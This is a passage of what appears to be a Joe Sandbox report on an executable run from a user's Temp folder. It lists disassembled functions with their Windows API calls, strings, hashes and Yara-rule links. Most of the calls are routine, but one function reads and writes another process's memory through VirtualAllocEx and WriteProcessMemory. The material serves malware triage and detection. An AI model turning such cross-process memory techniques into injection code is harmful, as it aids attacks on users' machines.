Instruction ID: 67924f2d1e21aeaa8f1697a65d616223892ea7f805fbf3e248e106c0dd3c0a76
Opcode Fuzzy Hash: 39f1d2ec7086de31943d75c80c315caa0aa8ccc253646fdffb06c74d9b7692be
Instruction Fuzzy Hash: 02016DB9145216BFDB114FA4DC49A6A3B6EEF86364B100415FA41C3350DB31DC40EA60

Function 009A0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 009A0FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 009A0FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 009A0FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 009A0FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 009A1002

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 4e4fa639891ece8e3d8465f649afb00858cbbe15e8489438e1559b6e028d359b
Instruction ID: 22cbaca124a3155afce5df70361b788ed0a96dfc2006bd117b9da3271441fffd
Opcode Fuzzy Hash: 4e4fa639891ece8e3d8465f649afb00858cbbe15e8489438e1559b6e028d359b
Instruction Fuzzy Hash: 59F0C279185312EBDB210FA4DC4DF563B6DEF8A761F100415F905C72A0CA30DC80DA60

Function 009A1014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 009A102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 009A1036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009A1045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 009A104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 009A1062

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 2aa91d647fdf54d78ea7431b32d5f0df424cae771e3186c398e0f57b9686be8e
Instruction ID: 3a98ff713fae01b7456452bee5b265cae368587ba4c6d6c9fd79cbf7d6445e7b
Opcode Fuzzy Hash: 2aa91d647fdf54d78ea7431b32d5f0df424cae771e3186c398e0f57b9686be8e
Instruction Fuzzy Hash: F5F06279195312EBDB215FA4EC49F563B6DEF8A761F110415F945C7290CA70D880DA60

Function 009B030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,009B017D,?,009B32FC,?,00000001,00982592,?), ref: 009B0324
CloseHandle.KERNEL32(?,?,?,?,009B017D,?,009B32FC,?,00000001,00982592,?), ref: 009B0331
CloseHandle.KERNEL32(?,?,?,?,009B017D,?,009B32FC,?,00000001,00982592,?), ref: 009B033E
CloseHandle.KERNEL32(?,?,?,?,009B017D,?,009B32FC,?,00000001,00982592,?), ref: 009B034B
CloseHandle.KERNEL32(?,?,?,?,009B017D,?,009B32FC,?,00000001,00982592,?), ref: 009B0358
CloseHandle.KERNEL32(?,?,?,?,009B017D,?,009B32FC,?,00000001,00982592,?), ref: 009B0365

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c2478b6efb8f61e18d0933d86185e6e884db5f3a1d7dabbae473c39cdc510984
Instruction ID: a3ebb98c807ad901bd45e294b043facebbf51a80316fbe712a73bc81a31738ef
Opcode Fuzzy Hash: c2478b6efb8f61e18d0933d86185e6e884db5f3a1d7dabbae473c39cdc510984
Instruction Fuzzy Hash: 3201EE72800B058FCB30AF66D980843FBF9BFA03253048A3FD19652930C3B0A988CF80

Function 0097D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0097D752

Part of subcall function 009729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000), ref: 009729DE
Part of subcall function 009729C8: GetLastError.KERNEL32(00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000,00000000), ref: 009729F0

_free.LIBCMT ref: 0097D764
_free.LIBCMT ref: 0097D776
_free.LIBCMT ref: 0097D788
_free.LIBCMT ref: 0097D79A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2b7906bcfa12e545ed2f84cb993397a70e34647feee2edac824bec9b6620b322
Instruction ID: 4a7f2ca0e680683be2d85b2373c35696b82195cd7a4db5d21fc2430046ebb6d5
Opcode Fuzzy Hash: 2b7906bcfa12e545ed2f84cb993397a70e34647feee2edac824bec9b6620b322
Instruction Fuzzy Hash: F7F01273555208ABC625EBB8FAC6D16B7EDBF84720F988905F14DE7542C730FC828664

Function 009A5C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 009A5C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 009A5C6F
MessageBeep.USER32(00000000), ref: 009A5C87
KillTimer.USER32(?,0000040A), ref: 009A5CA3
EndDialog.USER32(?,00000001), ref: 009A5CBD

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 6e07f2be538f4bb46b6f2d4b52879d744ed6d47c81ffaecd55f56807a47275e5
Instruction ID: bfcbf6c49b026ea0f9e860e504d78eb9cf31ba63d7d1b5790ef3f682dff7b575
Opcode Fuzzy Hash: 6e07f2be538f4bb46b6f2d4b52879d744ed6d47c81ffaecd55f56807a47275e5
Instruction Fuzzy Hash: C301D1B0644B05ABEB205B10ED4EFA677B8FB01B05F01065AA683A10E0DBF4A984DA90

Function 009722A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 009722BE

Part of subcall function 009729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000), ref: 009729DE
Part of subcall function 009729C8: GetLastError.KERNEL32(00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000,00000000), ref: 009729F0

_free.LIBCMT ref: 009722D0
_free.LIBCMT ref: 009722E3
_free.LIBCMT ref: 009722F4
_free.LIBCMT ref: 00972305

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f9f053deb6e479cba71efc9e353363eeff9932c9347d29a84226078ca3d23885
Instruction ID: 59c287e5dcfea3716650e16d0f41ae68117d7cde2a43e019056fa895786886a2
Opcode Fuzzy Hash: f9f053deb6e479cba71efc9e353363eeff9932c9347d29a84226078ca3d23885
Instruction Fuzzy Hash: F3F030724111108BC712EFE8BD02DC87B68B718760B05C656F518D62B1C77504939FE4

Function 009595C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 009595D4
StrokeAndFillPath.GDI32(?,?,009971F7,00000000,?,?,?), ref: 009595F0
SelectObject.GDI32(?,00000000), ref: 00959603
DeleteObject.GDI32 ref: 00959616
StrokePath.GDI32(?), ref: 00959631

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: e6ca9b9147ac50dda27ca251a15f6ee669aaa8cdb32b442b90da95550482f179
Instruction ID: f0bce8d1db72e22cc12a5ef518c90a4d1aad22b12ccfa36043f328c5f4985dba
Opcode Fuzzy Hash: e6ca9b9147ac50dda27ca251a15f6ee669aaa8cdb32b442b90da95550482f179
Instruction Fuzzy Hash: B2F03C7004A305EBEB12DFA6ED1C7A43B65AB01323F44C215FA75550F0C73089AAEF20

Function 00970F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 009710F9
__freea.LIBCMT ref: 00971117

Part of subcall function 00971537: _free.LIBCMT ref: 0097154F

Strings

am/pm, xrefs: 0097117A
a/p, xrefs: 009711DE

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 8f21f1c4079d6700b6c1305e6e27b26ffec1075eab3dab1b01b992aa9ae32c85
Instruction ID: 19a79d140b039c77ba68821db9577e7e5d1042b98b0d7dcfd5833a80d776351b
Opcode Fuzzy Hash: 8f21f1c4079d6700b6c1305e6e27b26ffec1075eab3dab1b01b992aa9ae32c85
Instruction Fuzzy Hash: 1CD1F233904206CBDB289F6CC895BFAB7B8FF45700F28C559E919AB651D3399D80CB91

Function 009C7B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00960242: EnterCriticalSection.KERNEL32(00A1070C,00A11884,?,?,0095198B,00A12518,?,?,?,009412F9,00000000), ref: 0096024D
Part of subcall function 00960242: LeaveCriticalSection.KERNEL32(00A1070C,?,0095198B,00A12518,?,?,?,009412F9,00000000), ref: 0096028A

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009600A3: __onexit.LIBCMT ref: 009600A9

__Init_thread_footer.LIBCMT ref: 009C7BFB

Part of subcall function 009601F8: EnterCriticalSection.KERNEL32(00A1070C,?,?,00958747,00A12514), ref: 00960202
Part of subcall function 009601F8: LeaveCriticalSection.KERNEL32(00A1070C,?,00958747,00A12514), ref: 00960235

Strings

Variable must be of type 'Object'., xrefs: 009C7C3A
G, xrefs: 009C7C7F
5, xrefs: 009C7C78

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: fcbab3c169dd8b9607460b78168925cb71f9a979a5217ec1199d89a6e6a17ffa
Instruction ID: fe0fca585a83dcbeebb65549d6e1b714493e4cefae6ffd4ca924b2a1b3b835d0
Opcode Fuzzy Hash: fcbab3c169dd8b9607460b78168925cb71f9a979a5217ec1199d89a6e6a17ffa
Instruction Fuzzy Hash: 53916970A04209AFCB14EF94D991EADB7B5BF88300F10845DF8469B392DB71AE85CF52

Function 009A2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009AB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009A21D0,?,?,00000034,00000800,?,00000034), ref: 009AB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 009A2760

Part of subcall function 009AB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009A21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 009AB3F8

Part of subcall function 009AB32A: GetWindowThreadProcessId.USER32(?,?), ref: 009AB355
Part of subcall function 009AB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,009A2194,00000034,?,?,00001004,00000000,00000000), ref: 009AB365
Part of subcall function 009AB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,009A2194,00000034,?,?,00001004,00000000,00000000), ref: 009AB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 009A27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 009A281A

Strings

@, xrefs: 009A2832

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 36397b58ac5778d97d3305c136684f3450cb998d25e2f4beb25ebdb9ffa98ab4
Instruction ID: d0c01cd4739d06e57030b0f4b5af3e9eda8aa937d8e4459784b62fcb1c4b57bc
Opcode Fuzzy Hash: 36397b58ac5778d97d3305c136684f3450cb998d25e2f4beb25ebdb9ffa98ab4
Instruction Fuzzy Hash: 88413C72901218AFDB10DFA8CD41BEEBBB8EF4A300F104095FA55B7191DB706E85CBA0

Function 0097172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe,00000104), ref: 00971769
_free.LIBCMT ref: 00971834
_free.LIBCMT ref: 0097183E

Strings

C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe, xrefs: 00971760, 00971767, 00971796, 009717CE

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe
API String ID: 2506810119-3407998340
Opcode ID: 587ff40f68ec599e0b67ed2debfceb7cc3eb75b8fa589953f1f5f1f889ae0a5f
Instruction ID: cfb714b44ed1099ae25ac5bbe4f6412a89f6f3e498dba5e6035a8f490b4cfe0d
Opcode Fuzzy Hash: 587ff40f68ec599e0b67ed2debfceb7cc3eb75b8fa589953f1f5f1f889ae0a5f
Instruction Fuzzy Hash: EE316E72A04218AFDB25DF99D885EDEBBFCEB85310F148166F908D7211D6B08E41CB91

Function 009AC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 009AC306
DeleteMenu.USER32(?,00000007,00000000), ref: 009AC34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00A11990,018076D0), ref: 009AC395

Strings

0, xrefs: 009AC2DF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 284c2069e127ef349de2847dee52048c25c4605414555a5ce4bc84eec1ba1117
Instruction ID: 3ce2becc92f8acaf5b7a126082913135a759ace339d43ded15b0c915cb7a3bd4
Opcode Fuzzy Hash: 284c2069e127ef349de2847dee52048c25c4605414555a5ce4bc84eec1ba1117
Instruction Fuzzy Hash: 0F41A3B12083019FDB24DF25D844F5ABBE8AFC6311F148A1DF9A59B2D1DB70E904CB92

Function 009D4416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,009DCC08,00000000,?,?,?,?), ref: 009D44AA
GetWindowLongW.USER32 ref: 009D44C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 009D44D7

Strings

SysTreeView32, xrefs: 009D447C

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 9194b299f0d0c7b0bd0c07bf91bedb2c06b88d0f9414ad28f20c7b2498602d3c
Instruction ID: 100f25a8c753dd923009298fbc3d33cb6c9f24a372d7f7cb15ea4f9d09819a4c
Opcode Fuzzy Hash: 9194b299f0d0c7b0bd0c07bf91bedb2c06b88d0f9414ad28f20c7b2498602d3c
Instruction Fuzzy Hash: A5319E71294606AFDF208F78DC45BEA77A9EB49334F208716F975922E0D770EC909B50

Function 009C304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 009C335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,009C3077,?,?), ref: 009C3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 009C307A
_wcslen.LIBCMT ref: 009C309B
htons.WSOCK32(00000000,?,?,00000000), ref: 009C3106

Strings

255.255.255.255, xrefs: 009C3095, 009C309A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 64b915a64928b1cc9e829e48a70d053e364ca4d127333c68cbd28bc1981b6a38
Instruction ID: b8bc9708d4a4154d6ba7d0553f4773ae4e3137a738e42752c330ebb71b44ee4c
Opcode Fuzzy Hash: 64b915a64928b1cc9e829e48a70d053e364ca4d127333c68cbd28bc1981b6a38
Instruction Fuzzy Hash: AA31E436A042059FCB10CF69C585FAA77E4EF54318F28C05DE9168B392DB32EE41C762

Function 009D3EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 009D3F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 009D3F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 009D3F78

Strings

SysMonthCal32, xrefs: 009D3F0B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 3385f614c5c834b8a2220f815525039e4677f9da2c835c728d55599b283919aa
Instruction ID: e1d2b2330230e133c61fda43de6e83e026fd8bc603e325e7249ad40b81e21dea
Opcode Fuzzy Hash: 3385f614c5c834b8a2220f815525039e4677f9da2c835c728d55599b283919aa
Instruction Fuzzy Hash: E621BF32650219BFEF118F94DC46FEA3B79EB88714F118215FA156B2D0D6B1AC50CBA0

Function 009D4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 009D4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 009D4713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 009D471A

Strings

msctls_updown32, xrefs: 009D4684

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
